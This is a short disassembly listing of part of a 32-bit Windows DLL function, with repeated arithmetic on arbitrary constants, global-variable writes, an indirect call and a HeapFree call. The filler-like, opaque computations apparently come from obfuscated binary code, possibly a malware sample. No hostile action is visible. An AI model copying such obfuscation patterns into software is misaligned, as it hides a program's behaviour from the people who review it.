je 0x1000c6bc
cmp dword [ecx + 0x84], 0
je 0x1000c6bc
mov edx, dword [esp + 0x74]
mov eax, 0x12a53ce0
sub eax, edx
add dword [0x1000e058], eax
mov ax, word [esp + 0x94]
movsx ecx, al
mov byte [0x1000e002], 0x91
add ecx, 0x5991
movzx eax, byte [0x1000e002]
cmp eax, ecx
jne 0x1000c0e6
xor ecx, ecx
mov eax, edx
add eax, 0xf4f8ddee
adc ecx, 0x7cb18
cmp dword [0x1000e030], eax
jne 0x1000c0e6
mov ax, word [esp + 0x70]
lea ecx, [edi + edi]
mov esi, dword [esp + 0x30]
add esi, 0xc
cwde
sub ecx, eax
mov byte [0x1000e002], 0x91
sub ecx, 0x46
mov dword [esp + 0x74], esi
mov dword [esp + 0xa8], ecx
cmp dword [esi], 0
je 0x1000c6bc
mov ax, word [0x1000e014]
lea edx, [esp + 0xcc]
mov ecx, dword [esp + 0x54]
call fcn.10005fd0
mov edi, dword [esp + 0x40]
mov esi, dword [esp + 0x44]
mov ecx, dword [esp + 0x20]
add edi, ecx
mov edx, dword [esp + 0x24]
adc esi, edx
mov dword [esp + 0x30], eax
or edi, esi
jne 0x1000c6f3
lea ecx, [edi + 1]
jmp 0x1000c6f5
xor ecx, ecx
movsx eax, byte [esp + 0x13]
sub eax, ecx
sub eax, dword [0x1000e020]
mov dword [esp + 0x20], eax
mov eax, 0xe9a3
push 0
push 0
mov dword [esp + 0x2c], 0
mov word [0x1000e06c], ax
call dword [esp + 0x38]
mov eax, dword [esp + 0x64]
mov cx, word [0x1000e07c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8